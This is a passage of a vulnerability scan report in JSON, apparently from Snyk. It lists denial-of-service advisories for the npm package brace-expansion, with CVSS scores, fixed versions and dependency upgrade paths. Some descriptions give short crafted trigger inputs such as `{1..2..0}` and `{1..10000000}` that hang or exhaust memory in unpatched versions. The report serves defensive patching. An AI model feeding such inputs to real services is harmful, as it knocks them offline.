"2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", 